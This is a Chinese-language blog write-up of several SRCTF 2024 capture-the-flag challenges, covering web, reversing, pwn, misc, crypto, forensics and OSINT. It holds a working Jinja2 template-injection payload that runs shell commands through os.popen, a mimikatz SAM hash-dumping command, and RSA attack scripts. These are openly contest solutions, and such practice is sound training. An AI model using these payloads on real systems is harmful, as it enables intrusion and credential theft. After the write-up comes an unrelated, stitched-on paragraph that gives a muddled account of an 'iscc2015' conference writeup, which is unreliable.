SRCTF 2024 部分WriteUp

前言

有幸被邀请来参加了这场CTF,虽然我自己因为各种意义就只花了一天时间看题和答题,但是题目质量还是十分优质的,并且有很多很好的trick点可以用,因此写下wp跟大家分享

目录

前言

Web

ezhttp

flag复读机

Reverse:

easyre

signIn

Pwn:

echo

Misc:

签到

来抽卡吧(改)

Crypto:

Who_is_Bob 

Just_easy

leak 

社工取证:

Domain Administrator

Osint1-Gamer

Osint2-Train

Osint3-School

Osint4-where

Osint6-music

Osint7-abode


Web

ezhttp

没什么好说的,很简单的签到题

flag复读机

你永远可以相信fenjing(bushi)

没装的可以自己百度fenjing装一个

from fenjing import exec_cmd_payload
import requests
from time import sleep


url = "http://110.40.35.62:33731/flag" # url 改成你们自己的端口
cookies = {"GZCTF_Token":"xxx"} # 改成你们自己的token


def waf(payload):
        sleep(0.05)
        if payload[:2] == "{%" and payload[-2:] == "%}":
                data = {"flag": "flag"+payload}
        else:
                data = {"flag": f"flag{{%{payload}%}}"}
        connect = requests.post(url, cookies = cookies, data = data)
        # print(connect.text)
        return "杂鱼" not in connect.text

def main():
        print(waf("a"))
        shell_payload, result = exec_cmd_payload(waf, "ls /")
        print("flag" + shell_payload.encode("utf-8").decode("utf-8"))


if __name__ == "__main__":
        main()

得到的输出直接跑就行

或者这儿有个已经跑好的

flag{%set gl='_'__~'_'_~_'g''lobals'__~'_'_~_'_'%}{%set bu='_'__~'_'_~_'b''uiltins'__~'_'_~_'_'%}{%set im='_'__~'_'_~_'import'__~'_'_~_'_'%}{%set px='OS'|lower%}{%set ls='\x6c\x73\x20\x2f'%}{%print g['p''op'][gl][bu][im](px)['p''open'](ls)'read'%}

如果你想要自己设定指令

请注意红框引号部分修改为自己的内容

即可执行指令


Reverse:

应该是用的编译器的锅,有的函数不好看出来

主要加密很简单,主要是与以往的函数不一样,不太容易看出来

简单介绍一些函数的识别过程,首先满图跑的memmove可以暂时不用管他,就当做构造函数之类的申请内存的东西就好

在puts_and_gets这个函数里完成了相关flag提示的打印和flag的接收,有点类似于python里边的

input("pls input your flag")这种提示完之后接收的

主要通过动调可以看出来还有接收的操作,并且把得到的值赋给了flag变量

然后这里是获取flag的切片

并将flag从char转化为int

即1字节转化为4字节

你可以通过静态分析或者动调的方式找到具体的内容

显示bug,头一次分析的时候命名的enc1没有改过来,函数名就是Char2Int

这里插一嘴,如果你动调访问这个IntArray是这样的

这是个地址,按键盘的G键输入1c3fc0即可跳转.

然后剩下的就是取数组的值,然后加密(suffer)之后保存进去

suffer的加密就很好看出来了

再然后就是另一个enc,等价于注释的计算,里边是个等差数列,前两项为0,公差为1

再然后就是直接比较了

因此加密逻辑相当之简单,居然没人做?!

开赛第四天我才来写,居然还拿了2血,NB

def suffer(flag_i, j):
        if j != 0:
                v3 = flag_i + j
        else:
                v3 = flag_i ^ 0x11
        return flag_i * j + v3

def enc_func(flag_k,k):
        return flag_k + (k*(k-1))//2
        
enc = [0x00000042, 0x000000A5, 0x000000CC, 0x00000156, 0x00000168, 0x000002F1, 0x000002C3, 0x00000334, 0x000003B1, 0x00000401, 0x00000462, 0x00000282, 0x000002FF, 0x000005B7, 0x0000030C, 0x000003F8, 0x000003C9, 0x0000077D, 0x000004AD, 0x00000442, 0x00000516, 0x00000575, 0x00000A27, 0x00000594, 0x00000591, 0x00000B1F, 0x00000762, 0x000006D6, 0x000007EE, 0x000006F9, 0x00000D90, 0x000008B0, 0x000008E5, 0x0000093B, 0x0000094C, 0x00001086, 0x00001133, 0x00001171, 0x00000AD1, 0x0000125C, 0x00000C03, 0x00000C39, 0x00001886]

for pos,enc_i in enumerate(enc):
        for i in range(0x20,128):
                data = enc_func(suffer(i,pos),pos)
                if data == enc_i:
                        print(chr(i),end="")

爆破各位即可

easyre

没办法动调真的挺难绷的

看起来挺简单的

实际上蛮难绷的

先经过了一个base64变表,然后进行加密

先解决加密

注意这里的HIDWORD和LODWORD实际上你可以把他看成两个变量,在这里是等价的

因为到最后比较的时候会被强制转换为一个字节bytes,所以这里v10的高位会被舍掉

即v10 = LODWORD(v10)

因此写函数

data = [0x000000D2, 0x00000069, 0x00000065, 0x00000090, 0x000000A6, 0x000000D6, 0x00000069, 0x000000CA, 0x000000E8, 0x00000084, 0x00000096, 0x00000086, 0x000000D2, 0x0000009A, 0x000000CA, 0x00000082, 0x00000091, 0x000000DD, 0x0000009C, 0x0000008C, 0x00000041, 0x00000084, 0x0000006A, 0x000000A6, 0x00000085, 0x000000DD, 0x00000064, 0x0000007A, 0x000000A6, 0x0000009B, 0x0000007A, 0x000000A6, 0x00000085, 0x0000009B, 0x00000086, 0x00000068, 0x00000041, 0x000000DD, 0x0000007A, 0x000000D8]

def enc(ascii_code):
        v6 = ascii_code
        h_v10 = l_v10 = 0
        v7 = (v6 // 7 + ((v6 - (v6 // 7 )) >> 1)) >> 2
        v8 = v6 - 7*v7
        if v7 != 0:
                h_v10 = v7 % 7
                v9 = v6 // 0x31
                if v9 != 0:
                        l_v10 = v9 % 7
        return v8 + 10 * (h_v10 + 10* l_v10)

for result in data:
        for i in range(0x20,128):
                if result == enc(i):
                        print(chr(i),end="")

i62Qam6dyHTJiXdFRqZM/H7aIq1AaYAaIYJ5/qAo

base64变表是程序运行时变表的

交叉引用可以发现

主要逻辑就是随机数生成然后替换

这里有个ptrace反调试

注意改一下

只要拿到base64变表之后修改一下即可

调了一下(花了一天配各种环境解决bug...)

确定是这个表

9znumyjD7iKSOIlNQwxsXRHMFa5AJ4dopPGEkrVY8WhB0bfvUTt326q1g/eCZ+cL

如果你调的时候得到的表不同,那你千万记住有个反调试。。。

当然,你也可以直接不配置arm环境

直接在linux上编译然后跑就行

#include <iostream>
#include <time.h>
#include <stdlib.h>
using namespace std;



int get_base64(long long seed){
        
        int v1,v2,v4,v5,v6,v7,v8,v10,result;
        bool v3;
        unsigned int v9;
        char v12;
        
        char b64_list[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        
        srand(seed);
        v1 = 100;
        do{
                v2 = rand();
                v4 = -v2;
                v3 = -v2 < 0;
                v5 = v2 & 0x3f;
                v6 = v4 & 0x3f;
                if(v3) v7 = v5;
                else v7 = -v6;
                v8 = rand();
                v3 = -v8 < 0;
                v9 = v8 & 0x3f;
                v10 = -v8 & 0x3f;
                if(v3) result = v9;
                else result = -v10;

                v12 = b64_list[v7];
                b64_list[v7] = b64_list[result];
                b64_list[result] = v12;
                --v1;
        }
        while(v1);
        cout<<b64_list<<endl;
        return 0;
}

int main(void){
        get_base64(6636321LL);
        get_base64(1193046LL);
        return 0;
}

g++ re.cpp -o re

就可以得到两种码表了,这里两个表分别对应两个种子

然后我们来聚焦base64的加密

被这个东西绊马脚让我搞了一天的环境。。。回头正好写个qemu的教程给大伙儿分享一下我今天踩的坑。。。

总之让我们来分析一下,其实也没必要分析,因为说起来很绕,主要是本来的base64就是一个长6位,一个长8位,这里还给打乱顺序了

总之记住一点,无论怎么变换,他总归都是24位(3*8,4*6)二进制在打乱顺序重组罢了

只要按拼图拼回来就OK了

所以写一个函数进行解密

def b64_decode(data):
        table = "9znumyjD7iKSOIlNQwxsXRHMFa5AJ4dopPGEkrVY8WhB0bfvUTt326q1g/eCZ+cL"
        string = ""
        for i in range(0,len(data),4):
                a1,a2,a3,a4 = data[i],data[i+1],data[i+2],data[i+3]
                p1,p2,p3,p4 = [bin(table.index(i))[2:].rjust(6,"0") for i in [a1,a2,a3,a4]]
                r1 = p1[4:6] + p3[2:] + p2[:2]
                r2 = p2[2:6] + p1[:4]
                r3 = p4 + p3[:2]
                string += "".join([chr(int(i,2)) for i in [r1,r2,r3]])
        return string
print(b64_decode("i62Qam6dyHTJiXdFRqZM/H7aIq1AaYAaIYJ5/qAo"))

signIn

很简单的一道题

题目提示cout

由于去掉了符号表,找到主函数可能需要一些经验

通常来讲如果你对程序执行比较熟悉,你可以通过start_0 ->start->main这条路径找到main函数

你可以在start函数内找到这样一个函数指针

通常来说,这个Code的函数指针指向的就是main函数

双击进去,就可以看到return返回的就是函数主体了(因为还需要获取程序执行传参等预编译,因此又套了一层)

这里就是主函数

或者你也可以通过Shift + F12的方式打开字符串表

双击跳转

到具体的地址,选中名称(图中黄色高亮)

按X键打开交叉引用

即可找到主函数

总之,无论如何,我们找到了主函数

根据题目提示cout,我们选中cout,按X键打开交叉引用

可以发现还有三处进行了cout

分别进行查看,就会发现三处加密

解这三处加密即可

最简单的异或加密

不再赘述


Pwn:

echo

echo -e "$(</flag)"


Misc:

签到

一共就4个方式

base 85,58,64,32

然后再加上hex

85注意调成IPv6,然后把All-zero group char删掉就OK了

随机生成的,反正就这几种,一般赛博厨子能识别出来

来抽卡吧(改)

pwntools爆破

一直没做出来,原来是我脸黑()

from pwn import *

context(log_level='debug') 

while True:
	try:
		p = remote("110.40.35.62",34123)
		try:
			data = [p.recvline().decode("UTF-8") for _ in range(2)]
		except:
			data = [p.recvline().decode("UTF-8")]
		try:
			msg = p.recvline()
		except:
			msg = None
		p.close()
	except Exception as e:
		print(e)
		p.interactive()
		breakpoint()
	print(data,msg)
	if msg is not None:
		break

print(msg)

misc没咋做,因为比较没空,再加上不会泰拉瑞亚,要是MC的可能做做(bushi)


Crypto:

Who_is_Bob 

 
from Crypto.Util.number import *

flag = bytes_to_long(b'SRCTF{Kicky_Mu_is_a_beautiful_girl!}')
p = getPrime(512)
q = getPrime(512)
e = 65537
Bob = getRandomInteger(30)
n = p*q
c = pow(flag, e, n)
leak = (p-Bob)*(q-Bob)

print("n = ", n)
print("c = ", c)
print("leak = ", leak)

'''

n =  83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571271567234671704671269359605807984410204884607410984160816036002212842986210090410991351912353876745392317665760163054027137901527714797966126447118700149990317258891
c =  78309281660733853390608911365864030224721696340767714309397025309727923007988734506317736073773797381428997269420533151442862487934268321488021490923820201215298630613307224160553995648878611049792491221454161735360351132054599297761941011233121670402299191829524451472897533682050463933866813803099215448841
leak =  83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571257216554908695119517636260243773643003707817620018239877623870076598042268179945412307565612034852201182156671007990234097768953570942262083345175668126848614778091      

'''

爆破Bob就行

leak = (p - Bob)*(q-Bob) = pq - Bob(p+q) + {Bob}^2

Bob(p+q) = n - leak + Bob^2

p+q = \frac{n-leak + Bob^2}{Bob} = Bob + \frac{n-leak}{Bob}

首先p和q为正整数,因此和也为整数

因此Bob首先得能够整除n - leak的值

设p+q = r

联立n = pq

因为q为正整数,取正根,有

q = \frac{r + \sqrt{r^2 - 4n}}{2}

其中,r = Bob + \frac{n-leak}{Bob}

同理,q为正整数,必须要能够开方得到一个整数

因此根据上述条件爆破即可

from Crypto.Util.number import *
from tqdm import trange
from gmpy2 import *
from libnum import n2s,s2n

n =  83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571271567234671704671269359605807984410204884607410984160816036002212842986210090410991351912353876745392317665760163054027137901527714797966126447118700149990317258891
c =  78309281660733853390608911365864030224721696340767714309397025309727923007988734506317736073773797381428997269420533151442862487934268321488021490923820201215298630613307224160553995648878611049792491221454161735360351132054599297761941011233121670402299191829524451472897533682050463933866813803099215448841
leak =  83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571257216554908695119517636260243773643003707817620018239877623870076598042268179945412307565612034852201182156671007990234097768953570942262083345175668126848614778091  
    
calc = n - leak
e = 0x10001

for Bob in trange(2,2**30 - 1):
        if calc == ((calc // Bob) * Bob):
                r = Bob + (calc // Bob)
                result = iroot(r*r - 4*n,2)
                if result[1]:
                        q = (result[0] + r) // 2
                        p = n // q
                        assert p*q == n
                        phi = (p-1)*(q-1)
                        d = invert(e,phi)
                        m = pow(c,d,n)
                        print(n2s(int(m)).decode("utf-8"))
                        break

Just_easy

from Crypto.Util.number import *

flag = bytes_to_long(b'SRCTF{Kicky_Mu_is_a_beautiful_girl!}')

a = getPrime(30)
p = getPrime(512)
q = getPrime(512)

phi_n = (p-1)*(q-1)
e = pow(a, -1, phi_n)
n = p * q
c = pow(flag, e, n)

print('n =', n)
print('the_secret =', c)
print('crazy_e =', e)

'''
n = 59447861832652211537262617254184281479829852166925461903662081261289292515576905767937322840660932440029530280492275752616941795671201953079301018060203465429579475061460085183882511211044583402328605487602525290853335843501892756351462762579677498265076859047191958682405236293711382106634923860856875702197
the_secret = 5531240943076956185419252532740075458153435638783876058593858932704838715927408036778103767030441428608060995278765402621496571055270582748608426450102229896581270452441624390124702053351607096961665933344552694074590045043665839297172339145388284294053051066633951096064582407552698859869765532283938542919
crazy_e = 14983946116420718695910350497572468216707179624388443450376271801029353003883222766239928455540840247101746285898514708092585961191614089889673789620455880325382360817355279757931949420354758283821942288319417005937365971171869321539979940627452543996523114498789386921202216406398001675382099523934286309463
'''

e很大,有维纳攻击

import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf


def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d

n = 59447861832652211537262617254184281479829852166925461903662081261289292515576905767937322840660932440029530280492275752616941795671201953079301018060203465429579475061460085183882511211044583402328605487602525290853335843501892756351462762579677498265076859047191958682405236293711382106634923860856875702197
c = 5531240943076956185419252532740075458153435638783876058593858932704838715927408036778103767030441428608060995278765402621496571055270582748608426450102229896581270452441624390124702053351607096961665933344552694074590045043665839297172339145388284294053051066633951096064582407552698859869765532283938542919
e = 14983946116420718695910350497572468216707179624388443450376271801029353003883222766239928455540840247101746285898514708092585961191614089889673789620455880325382360817355279757931949420354758283821942288319417005937365971171869321539979940627452543996523114498789386921202216406398001675382099523934286309463
d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())

leak 

 
from Crypto.Util.number import *
import gmpy2
from enc import flag


m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
e = 1013
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
dp = d % (p-1)
leak = dp>>200
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"leak = {leak}")
print(f"c = {c}")
'''
n = 110213245423787811834518112811871374057182659656333171180583906182098866895106152169202974253392946952670696530676210762805363864263383224528537325490112353868969261155364863882874549993204597016739119560224274234085791998310748667903130690276875928801213222945825623033159412256315898753155041172844790881283
e = 1013
leak = 2111661101489986207946671243111315656386526068378675693749037940046822939637002369276880737091
c = 44953911831010760674028216893023771903735777342102642215298073259026291235527656090988244571561391378675170728470813535186907109257362776905391646755360995924417928753904003476238093726521687524894340317021957879542128875867159267372684219741723042726979008939837475097290381429403885987472234565635819680600
'''

已知dp高位,e较小,可得p,q

在sagemath中跑,可以在线

 
#Sage
secret  = 2111661101489986207946671243111315656386526068378675693749037940046822939637002369276880737091
e = 1013
n = 110213245423787811834518112811871374057182659656333171180583906182098866895106152169202974253392946952670696530676210762805363864263383224528537325490112353868969261155364863882874549993204597016739119560224274234085791998310748667903130690276875928801213222945825623033159412256315898753155041172844790881283

F.<x> = PolynomialRing(Zmod(n))
d = inverse_mod(e, n)
for k in range(1, e):
        f = (secret << 200) + x + (k - 1) * d
        x0 = f.small_roots(X=2 ** (200+ 1), beta=0.44, epsilon=1/32)
        if len(x0) != 0:
                dp = x0[0] + (secret << 200)
                for i in range(2, e):
                        p = (e * Integer(dp) - 1 + i) // i
                        if n % p == 0:
                                break
                if p < 0:
                        continue
                else:
                        print('k = ',k)
                        print('p = ',p)
                        print('dp = ',dp)
                        break

懒得写wp了,大手子都有密码的全wp,回头我补上再。。。

 

社工取证:

Domain Administrator

使用mimikataz

双击打开

将附件里边的sam和system.hive解压到mimikataz的同一级目录

然后就可以直接解码了

lsadump::sam /sam:sam.hive /system:system.hive

套上SRCTF即可

Osint1-Gamer

下载后得到以下图片,图片右上角标志打码只有一个大概的轮廓,先不管,左下角也有一串字母,目前已知这些信息。

打开百度识图,

有张差不多的,下面也有标注经纬。地点是上海百联ZX创趣场。

Osint2-Train

  先看图片,”包子就吃和善缘,一年卖6亿只“,列车底部有“ZE 152206”字样(ZE是二等座的意思),旁边小推车上有“鑫博海”三字。明显的就这些

百度一下就可以知道和善缘冠名高铁列车

近日,和善园高铁冠名列车首发仪式在上海虹桥站隆重举行。(源自一则新闻)

Osint3-School

根据OVO眼镜搜索到广州市

猜测是中山大学或者外国语大学

挨个试就行

但是当时没找到)

Osint4-where

注意到右侧的101总部

用101研发总部找到附近的绿化

发现有个红仓完美文创公园

百度实景也有那个打码的地标

SRCTF{四川省-成都市-红仓完美文创公园}

Osint6-music

一听就知道是牢爱(AI爱酱)的future base,misc没去做

然后在网易云音乐评论区找到flag(网易云音乐也干了说是)

Osint7-abode

远处有地铁,排除了很大一部分城市

根据略略熊和有地铁锁定到宁波市

找附近是地铁线的略略熊店铺

随便点个附近的商家,就有具体小镇名字了

SRCTF{浙江省-宁波市-江北区-云创1986青年小镇}

iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup中,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015的writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从中获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值